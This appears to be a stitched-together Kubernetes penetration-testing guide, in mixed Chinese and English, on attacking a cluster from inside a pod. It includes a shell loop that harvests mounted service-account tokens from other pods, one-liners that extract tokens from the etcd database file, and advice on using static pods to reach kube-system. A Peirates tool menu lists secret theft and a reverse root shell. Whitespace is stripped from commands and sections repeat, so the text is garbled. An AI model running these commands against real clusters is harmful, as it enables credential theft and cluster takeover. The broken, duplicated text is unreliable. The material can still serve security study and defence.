# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
脚本 can-they.sh 将自动获取其他 pod 的令牌，并检查它们是否具有您正在寻找的权限（而不是您逐个查看）。
## Attacking Kubernetes from Inside a Pod### IntroductionIn a Kubernetes cluster, if an attacker gains access to a pod, they can potentially escalate their privileges to gain control over the entire cluster. This section explores various techniques that can be used by an attacker to compromise a Kubernetes cluster from inside a pod.
### Techniques1. **Accessing the Kubernetes API Server**: An attacker with access to a pod can try to access the Kubernetes API server using service account tokens mounted inside the pod.
2. **Pod Escape**: Attackers can attempt to break out of the pod's container to gain access to the host node and potentially other pods running on the same node.
3. **Network Sniffing**: By sniffing network traffic within the pod, an attacker can intercept sensitive information such as API requests and credentials.
4. **Pod Resource Exhaustion**: Attackers can consume excessive resources within a pod to cause a denial of service (DoS) attack, impacting other pods in the cluster.
### MitigationsTo prevent attacks from inside a pod, consider implementing the following mitigations:- **Restrict Pod Permissions**: Limit the permissions assigned to pods to reduce the impact of a compromised pod.- **Network Policies**: Implement network policies to restrict pod-to-pod communication and limit the attack surface.- **Pod Security Policies**: Enforce security policies to control the actions that pods can perform, such as accessing the host node or other pods.
By understanding these attack techniques and implementing appropriate mitigations, organizations can enhance the security of their Kubernetes clusters.
data-dir=/var/lib/etcd
查看 etcd 数据库中的数据：
strings/var/lib/etcd/member/snap/db|less
从数据库中提取令牌并显示服务账户名称
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
相同命令，但添加一些 greps 来仅返回 kube-system 命名空间中的默认令牌
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can leverage this access to further compromise the Kubernetes cluster. This article explores various techniques that an attacker can use to escalate privileges and move laterally within the cluster from inside a pod.
### Privilege Escalation#### Exploiting Misconfigured RBAC RolesIf the pod's service account has overly permissive Role-Based Access Control (RBAC) roles assigned to it, an attacker can abuse these privileges to perform unauthorized actions within the cluster. By exploiting misconfigured RBAC roles, an attacker can gain additional permissions and potentially take control of the entire cluster.
#### Accessing the Kubernetes API ServerOnce inside a pod, an attacker can attempt to access the Kubernetes API server using tools like `kubectl` or by sending direct API requests. If successful, the attacker can interact with the API server to gather sensitive information, modify resources, or deploy malicious workloads.
### Lateral Movement#### Pod HoppingAn attacker can move laterally within the cluster by compromising multiple pods. By exploiting vulnerabilities or misconfigurations in other pods, the attacker can pivot from one pod to another, gradually expanding their control and influence over the cluster.
#### Node CompromiseIf the attacker can escalate their privileges to the node level, they can potentially compromise the entire node and all the pods running on it. This can provide the attacker with a significant foothold in the cluster and enable them to carry out more extensive attacks.
### ConclusionSecuring Kubernetes clusters requires not only protecting the external attack surface but also considering the threats that can originate from within the cluster. By understanding how attackers can exploit vulnerabilities from inside a pod, organizations can better defend against internal threats and secure their Kubernetes deployments.
静态 Pod 由特定节点上的 kubelet 守护程序直接管理，而无需 API 服务器观察它们。与由控制平面管理的 Pod（例如 Deployment）不同；相反，kubelet 监视每个静态 Pod（如果失败，则重新启动）。
因此，静态 Pod 始终绑定到特定节点上的一个 Kubelet。
kubelet 会自动尝试为每个静态 Pod 在 Kubernetes API 服务器上创建一个镜像 Pod。这意味着在节点上运行的 Pod 可以在 API 服务器上看到，但无法从那里控制。Pod 名称将以节点主机名为后缀，并带有前导连字符。
静态 Pod 的 spec 不能引用其他 API 对象（例如 ServiceAccount、ConfigMap、Secret 等。因此，无法滥用此行为来使用任意 ServiceAccount 启动 Pod 在当前节点中以危害集群。但您可以使用此功能在不同命名空间中运行 Pod（如果出于某种原因有用）。
如果您在节点主机内部，可以让其创建一个静态 Pod 在自身内部。这非常有用，因为这可能允许您在不同命名空间（如 kube-system）中创建一个 Pod。
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
